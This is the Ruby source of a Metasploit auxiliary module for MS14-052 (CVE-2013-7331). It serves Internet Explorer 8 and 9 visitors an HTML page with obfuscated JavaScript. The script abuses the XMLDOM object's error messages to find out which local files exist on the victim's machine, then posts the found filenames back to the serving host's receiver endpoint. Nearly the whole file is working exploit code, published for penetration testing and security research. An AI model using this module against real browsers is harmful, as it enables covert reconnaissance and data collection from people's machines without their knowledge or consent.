metasploit-framework/modules/auxiliary/gather/ms14_052_xmldom.rb

219 lines
7.0 KiB
Ruby

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core/exploit/jsobfu'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::JSObfu
def initialize(info={})
super(update_info(info,
'Name' => "MS14-052 Microsoft Internet Explorer XMLDOM Filename Disclosure",
'Description' => %q{
This module will use the Microsoft XMLDOM object to enumerate a remote machine's filenames.
It will try to do so against Internet Explorer 8 and Internet Explorer 9. To use it, you
must supply your own list of file paths. Each file path should look like this:
c:\\\\windows\\\\system32\\\\calc.exe
},
'License' => MSF_LICENSE,
'Author' =>
[
'Soroush Dalili', # @irsdl - Original discovery. MSF module is from his PoC
'sinn3r'
],
'References' =>
[
[ 'CVE', '2013-7331'],
[ 'MSB', 'MS14-052' ],
[ 'URL', 'https://soroush.secproject.com/blog/2013/04/microsoft-xmldom-in-ie-can-divulge-information-of-local-drivenetwork-in-error-messages/' ],
[ 'URL', 'https://www.alienvault.com/open-threat-exchange/blog/attackers-abusing-internet-explorer-to-enumerate-software-and-detect-securi' ]
],
'Platform' => 'win',
'Targets' =>
[
[ 'Internet Explorer 8 / Internet Explorer 9', {} ],
],
'DisclosureDate' => "Sep 9 2014", # MSB. Used in the wild since Feb 2014
'DefaultTarget' => 0))
register_options(
[
OptPath.new('FILES', [ true, 'A list of files to enumerate. One absolute file path per line.' ])
], self.class
)
end
def js
target_files = parse_target_files
js_target_files = target_files * ','
%Q|
#{js_ajax_post}
var RESULTS = {
UNKNOWN : {value: 0, message: "Unknown!", color: "black", data: ""},
BADBROWSER: {value: 1, message: "Browser is not supported. You need IE!", color: "black", data: ""},
FILEFOUND : {value: 2, message: "File was found!", color: "green", data: ""},
FOLDERFOUND : {value: 3, message: "Folder was found!", color: "green", data: ""},
NOTFOUND : {value: 4, message: "Object was not found!", color: "red", data: ""},
ALIVE : {value: 5, message: "Alive address!", color: "green", data: ""},
MAYBEALIVE : {value: 6, message: "Maybe an alive address!", color: "blue", data: ""},
DEAD : {value: 7, message: "Dead to me! Undetectable?", color: "red", data: ""},
VALIDDRIVE : {value: 8, message: "Available Drive!", color: "green", data: ""},
INVALIDDRIVE : {value: 9, message: "Unavailable Drive!", color: "red", data: ""}
};
function validateXML(txt) {
var result = RESULTS.UNKNOWN;
if (window.ActiveXObject) {
var xmlDoc = new ActiveXObject("Microsoft.XMLDOM");
xmlDoc.async = true;
try {
xmlDoc.loadXML(txt);
if (xmlDoc.parseError.errorCode != 0) {
var err;
err = "Error Code: " + xmlDoc.parseError.errorCode + "\\n";
err += "Error Reason: " + xmlDoc.parseError.reason;
err += "Error Line: " + xmlDoc.parseError.line;
var errReason = xmlDoc.parseError.reason.toLowerCase();
if (errReason.search('access is denied') >= 0) {
result = RESULTS.ALIVE;
} else if(errReason.search('the system cannot locate the object') >= 0 \|\| errReason.search('the system cannot find the file') >= 0 \|\| errReason.search('the network path was not found') >= 0) {
result = RESULTS.NOTFOUND;
} else if(errReason!=''){
result = RESULTS.FILEFOUND;
} else{
result = RESULTS.UNKNOWN; // No Error? Unknown!
};
} else {
result = RESULTS.FILEFOUND;
}
} catch (e) {
result = RESULTS.FOLDERFOUND;
}
} else {
result = RESULTS.BADBROWSER;
}
result.data = "";
return result;
};
function checkFiles(files) {
var foundFiles = new Array();
// the first one is for all drives, the others are for the C drive only!
var preMagics = ["res://","\\\\\\\\localhost\\\\", "file:\\\\\\\\localhost\\\\", "file:\\\\"];
// or any other irrelevant ADS! - we do not need this when we use Res://
var postMagics = ["::$index_allocation"];
var templateString = '<?xml version="1.0" ?><\!DOCTYPE anything SYSTEM "$target$">';
for (var i = 0; i < files.length; i++) {
var filename = files[i];
if (filename != '') {
filename = preMagics[0] + filename; // postMagics can be used too!
var result = validateXML(templateString.replace("$target$", filename));
if (result == RESULTS.FOLDERFOUND \|\| result == RESULTS.ALIVE) result = RESULTS.UNKNOWN;
result.data = filename;
if (result.message.search(/file was found/i) > -1) {
var trimmedFilename = result.data;
for (var prem in preMagics) { trimmedFilename = trimmedFilename.replace(preMagics[prem], ''); }
for (var postm in postMagics) { trimmedFilename = trimmedFilename.replace(postMagics[postm], ''); }
foundFiles.push(trimmedFilename);
}
}
}
return foundFiles;
};
var foundFileString = "";
window.onload = function() {
var files = [#{js_target_files}];
var foundFiles = checkFiles(files);
for (var file in foundFiles) {
foundFileString += foundFiles[file] + "\|";
}
postInfo("#{get_resource}/receiver/", foundFileString, true);
};
|
end
def html
new_js = js_obfuscate(js)
%Q|
<html>
<head>
</head>
<body>
<script>
#{new_js}
</script>
</body>
</html>
|
end
def run
exploit
end
def parse_found_files(cli, req)
return if req.body.blank?
files = req.body.split('|')
unless files.empty?
print_good("We have detected the following files:")
files.each do |f|
report_note(host: cli.peerhost, type: 'ie.filenames', data: f)
print_good(f)
end
end
end
def parse_target_files
@files ||= lambda {
files = []
buf = ::File.open(datastore['FILES'], 'rb') { |f| buf = f.read }
buf.each_line do |line|
if line =~ /^[a-z]:\\\\.+/i
files << "'#{line.strip}'"
end
end
return files
}.call
end
def is_target_suitable?(user_agent)
info = fingerprint_user_agent(user_agent)
if info[:ua_name] == HttpClients::IE && (info[:ua_ver] == '8.0' || info[:ua_ver] == '9.0')
return true
end
false
end
def on_request_uri(cli, req)
unless is_target_suitable?(req.headers['User-Agent'])
send_not_found(cli)
return
end
case req.uri
when /receiver/
parse_found_files(cli, req)
else
print_status("Sending HTML.")
send_response(cli, html)
end
end
end